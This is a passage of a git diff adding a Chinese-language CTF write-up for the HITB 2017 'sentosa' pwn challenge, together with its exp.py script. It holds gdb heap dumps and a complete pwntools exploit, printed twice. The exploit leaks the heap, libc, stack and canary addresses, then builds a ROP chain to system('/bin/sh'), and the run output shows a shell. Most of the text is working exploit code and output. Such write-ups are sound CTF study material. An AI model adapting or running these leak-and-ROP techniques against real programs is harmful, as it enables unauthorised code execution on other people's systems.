+0x5555557570b0: 0x0000000000000000 0x0000000000000000 +0x5555557570c0: 0x0000000000000000 0x0000000000000000 +0x5555557570d0: 0x0000000000000000 0x0000000000000000 +0x5555557570e0: 0x0000000000000000 0x0000000000000000 +0x5555557570f0: 0x0000010000000000 0x0000010000000100 +0x555555757100: 0x0000000000000100 0x0000000000000071 <-- chunk 3 +0x555555757110: 0x4141414100000050 0x4141414141414141 +0x555555757120: 0x4141414141414141 0x4141414141414141 +0x555555757130: 0x4141414141414141 0x4141414141414141 +0x555555757140: 0x4141414141414141 0x4141414141414141 +0x555555757150: 0x4141414141414141 0x0000000000000021 <-- fake chunk (0xd0+0x80=0x150) +0x555555757160: 0x0000010000000000 0x0000010000000100 +0x555555757170: 0x0000000000000100 0x0000000000020e91 <-- top chunk +0x555555757180: 0x0000000000000000 0x0000000000000000 +``` +释放掉 chunk 4,此时它将被放进 unsorted bin,其 fd, bk 指针指向 libc: +``` +gdb-peda$ x/50gx 0x555555757010-0x10 +0x555555757000: 0x0000000000000000 0x0000000000000021 +0x555555757010: 0x0000015500000000 0x0000010000000100 +0x555555757020: 0x0000000000000100 0x0000000000000021 +0x555555757030: 0x0000010000000000 0x0000010000000100 +0x555555757040: 0x0000000000000100 0x0000000000000021 +0x555555757050: 0x0000010000000000 0x0000010000000100 +0x555555757060: 0x0000000000000100 0x0000000000000031 +0x555555757070: 0x000000410000000f 0x0000000000000000 +0x555555757080: 0x0000000100000000 0x00000000000000d1 +0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x5555557570a0: 0x0000000100000050 0x0000000000000000 +0x5555557570b0: 0x0000000000000000 0x0000000000000000 +0x5555557570c0: 0x0000000000000000 0x0000000000000000 +0x5555557570d0: 0x0000000000000000 0x0000000000000000 +0x5555557570e0: 0x0000000000000000 0x0000000000000000 +0x5555557570f0: 0x0000010000000000 0x0000010000000100 +0x555555757100: 0x0000000000000100 0x0000000000000071 +0x555555757110: 0x4141414100000050 0x4141414141414141 +0x555555757120: 0x4141414141414141 0x4141414141414141 +0x555555757130: 0x4141414141414141 0x4141414141414141 +0x555555757140: 0x4141414141414141 0x4141414141414141 +0x555555757150: 0x00000000000000d0 0x0000000000000020 +0x555555757160: 0x0000010000000000 0x0000010000000100 +0x555555757170: 0x0000000000000100 0x0000000000020e91 +0x555555757180: 0x0000000000000000 0x0000000000000000 +``` +将它打印出来即可得到 libc 的基址。 + +#### leak stack and canary +```python +def leak_stack_canary(): + global canary + + environ_addr = libc.symbols['__environ'] + libc_base + log.info("__environ address: 0x%x" % environ_addr) + + start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4 + + view_proj() + for i in range(5): + io.recvuntil("Price: ") + leak_low = int(io.recvline()[:-1], 10) & 0xffffffff + io.recvuntil("Area: ") + leak_high = int(io.recvline()[:-1], 10) & 0xffff + stack_addr = leak_low + (leak_high<<32) + canary_addr = stack_addr - 0x130 + + log.info("stack address: 0x%x" % stack_addr) + log.info("canary address: 0x%x" % canary_addr) + + start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6 + + view_proj() + for i in range(7): + io.recvuntil("Project: ") + canary = (u64(io.recvline()[:-1] + "\x00"))<<8 + + log.info("canary: 0x%x" % canary) +``` +通过 libc 地址计算出 `__environ` 的地址,构造 project 并打印出来得到其指向的 stack 地址。然后通过偏移计算得到 canary 地址,同样的方法构造 project,得到 canary。 + +#### pwn +```python +def pwn(): + pop_rdi_ret = libc_base + 0x21102 + bin_sh = libc_base + next(libc.search('/bin/sh\x00')) + system_addr = libc_base + libc.symbols['system'] + + payload = "A" * 0x68 + payload += p64(canary) # canary + payload += "A" * 0x28 + payload += p64(pop_rdi_ret) # return address + payload += p64(bin_sh) + payload += p64(system_addr) # system("/bin/sh") + + start_proj(0, payload, 1, 1, 1) + + io.interactive() +``` +最后我们就可以构造 ROP 得到 shell 了。 +``` +gdb-peda$ x/24gx $rsp +0x7fffffffec70: 0x00007ffff7dd3780 0x00000000f7b046e0 +0x7fffffffec80: 0x4141414141414141 0x4141414141414141 +0x7fffffffec90: 0x4141414141414141 0x4141414141414141 +0x7fffffffeca0: 0x4141414141414141 0x4141414141414141 +0x7fffffffecb0: 0x4141414141414141 0x4141414141414141 +0x7fffffffecc0: 0x4141414141414141 0x4141414141414141 +0x7fffffffecd0: 0x4141414141414141 0x4141414141414141 +0x7fffffffece0: 0x4141414141414141 0xa078057095c7cf00 <-- canary +0x7fffffffecf0: 0x4141414141414141 0x4141414141414141 +0x7fffffffed00: 0x4141414141414141 0x4141414141414141 +0x7fffffffed10: 0x4141414141414141 0x00007ffff7a2f102 <-- pop rdi; ret +0x7fffffffed20: 0x00007ffff7b9a177 0x00007ffff7a53390 <-- "/bin/sh" <-- system +``` + +开启 ASLR。Bingo!!! +``` +$ python exp.py +[+] Starting local process './sentosa': pid 11161 +[*] heap base: 0x556cac880000 +[*] libc base: 0x7fd37c2a7000 +[*] __environ address: 0x7fd37c66cf38 +[*] stack address: 0x7ffcdd2ae7c8 +[*] canary address: 0x7ffcdd2ae698 +[*] canary: 0x307ea32507776d00 +[*] Switching to interactive mode +Your project is No.7 +$ whoami +firmy +``` + +#### exp +完整的 exp 如下: +```python +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./sentosa'], env={'LD_PRELOAD':'./libc.so.6'}) +libc = ELF('libc.so.6') + +def start_proj(length, name, price, area, capacity): + io.sendlineafter("Exit\n", '1') + io.sendlineafter("name: ", str(length)) + io.sendlineafter("name: ", name) + io.sendlineafter("price: ", str(price)) + io.sendlineafter("area: ", str(area)) + io.sendlineafter("capacity: ", str(capacity)) + +def view_proj(): + io.sendlineafter("Exit\n", '2') + +def cancel_proj(idx): + io.sendlineafter("Exit\n", '4') + io.sendlineafter("number: ", str(idx)) + +def leak_heap(): + global heap_base + + start_proj(0, 'A', 1, 1, 1) # 0 + start_proj(0, 'A'*0x5a, 1, 1, 1) # 1 + start_proj(0, 'A', 1, 1, 1) # 2 + cancel_proj(2) + cancel_proj(0) + + view_proj() + io.recvuntil("Capacity: ") + leak = int(io.recvline()[:-1], 10) & 0xffffffff + heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56 + + log.info("heap base: 0x%x" % heap_base) + +def leak_libc(): + global libc_base + + start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0 + start_proj(0x50, '\x01', 1, 1, 1) # 2 + start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3 + start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4 + start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5 + cancel_proj(4) + + view_proj() + for i in range(5): + io.recvuntil("Area: ") + leak_low = int(io.recvline()[:-1], 10) & 0xffffffff + io.recvuntil("Capacity: ") + leak_high = int(io.recvline()[:-1], 10) & 0xffff + libc_base = leak_low + (leak_high<<32) - 0x3c3b78 + + log.info("libc base: 0x%x" % libc_base) + +def leak_stack_canary(): + global canary + + environ_addr = libc.symbols['__environ'] + libc_base + log.info("__environ address: 0x%x" % environ_addr) + + start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4 + + view_proj() + for i in range(5): + io.recvuntil("Price: ") + leak_low = int(io.recvline()[:-1], 10) & 0xffffffff + io.recvuntil("Area: ") + leak_high = int(io.recvline()[:-1], 10) & 0xffff + stack_addr = leak_low + (leak_high<<32) + canary_addr = stack_addr - 0x130 + + log.info("stack address: 0x%x" % stack_addr) + log.info("canary address: 0x%x" % canary_addr) + + start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6 + + view_proj() + for i in range(7): + io.recvuntil("Project: ") + canary = (u64(io.recvline()[:-1] + "\x00"))<<8 + + log.info("canary: 0x%x" % canary) + +def pwn(): + pop_rdi_ret = libc_base + 0x21102 + bin_sh = libc_base + next(libc.search('/bin/sh\x00')) + system_addr = libc_base + libc.symbols['system'] + + payload = "A" * 0x68 + payload += p64(canary) # canary + payload += "A" * 0x28 + payload += p64(pop_rdi_ret) # return address + payload += p64(bin_sh) + payload += p64(system_addr) # system("/bin/sh") + + start_proj(0, payload, 1, 1, 1) + + io.interactive() + +if __name__ == "__main__": + leak_heap() + leak_libc() + leak_stack_canary() + pwn() +``` -## Exploit ## 参考资料 - https://ctftime.org/task/4460 diff --git a/src/writeup/6.1.18_pwn_hitbctf2017_sentosa/exp.py b/src/writeup/6.1.18_pwn_hitbctf2017_sentosa/exp.py new file mode 100644 index 0000000..4b67ed2 --- /dev/null +++ b/src/writeup/6.1.18_pwn_hitbctf2017_sentosa/exp.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./sentosa'], env={'LD_PRELOAD':'./libc.so.6'}) +libc = ELF('libc.so.6') + +def start_proj(length, name, price, area, capacity): + io.sendlineafter("Exit\n", '1') + io.sendlineafter("name: ", str(length)) + io.sendlineafter("name: ", name) + io.sendlineafter("price: ", str(price)) + io.sendlineafter("area: ", str(area)) + io.sendlineafter("capacity: ", str(capacity)) + +def view_proj(): + io.sendlineafter("Exit\n", '2') + +def cancel_proj(idx): + io.sendlineafter("Exit\n", '4') + io.sendlineafter("number: ", str(idx)) + +def leak_heap(): + global heap_base + + start_proj(0, 'A', 1, 1, 1) # 0 + start_proj(0, 'A'*0x5a, 1, 1, 1) # 1 + start_proj(0, 'A', 1, 1, 1) # 2 + cancel_proj(2) + cancel_proj(0) + + view_proj() + io.recvuntil("Capacity: ") + leak = int(io.recvline()[:-1], 10) & 0xffffffff + heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56 + + log.info("heap base: 0x%x" % heap_base) + +def leak_libc(): + global libc_base + + start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0 + start_proj(0x50, '\x01', 1, 1, 1) # 2 + start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3 + start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4 + start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5 + cancel_proj(4) + + view_proj() + for i in range(5): + io.recvuntil("Area: ") + leak_low = int(io.recvline()[:-1], 10) & 0xffffffff + io.recvuntil("Capacity: ") + leak_high = int(io.recvline()[:-1], 10) & 0xffff + libc_base = leak_low + (leak_high<<32) - 0x3c3b78 + + log.info("libc base: 0x%x" % libc_base) + +def leak_stack_canary(): + global canary + + environ_addr = libc.symbols['__environ'] + libc_base + log.info("__environ address: 0x%x" % environ_addr) + + start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4 + + view_proj() + for i in range(5): + io.recvuntil("Price: ") + leak_low = int(io.recvline()[:-1], 10) & 0xffffffff + io.recvuntil("Area: ") + leak_high = int(io.recvline()[:-1], 10) & 0xffff + stack_addr = leak_low + (leak_high<<32) + canary_addr = stack_addr - 0x130 + + log.info("stack address: 0x%x" % stack_addr) + log.info("canary address: 0x%x" % canary_addr) + + start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6 + + view_proj() + for i in range(7): + io.recvuntil("Project: ") + canary = (u64(io.recvline()[:-1] + "\x00"))<<8 + + log.info("canary: 0x%x" % canary) + +def pwn(): + pop_rdi_ret = libc_base + 0x21102 + bin_sh = libc_base + next(libc.search('/bin/sh\x00')) + system_addr = libc_base + libc.symbols['system'] + + payload = "A" * 0x68 + payload += p64(canary) # canary + payload += "A" * 0x28 + payload += p64(pop_rdi_ret) # return address + payload += p64(bin_sh) + payload += p64(system_addr) # system("/bin/sh") + + start_proj(0, payload, 1, 1, 1) + + io.interactive() + +if __name__ == "__main__": + leak_heap() + leak_libc() + leak_stack_canary() + pwn()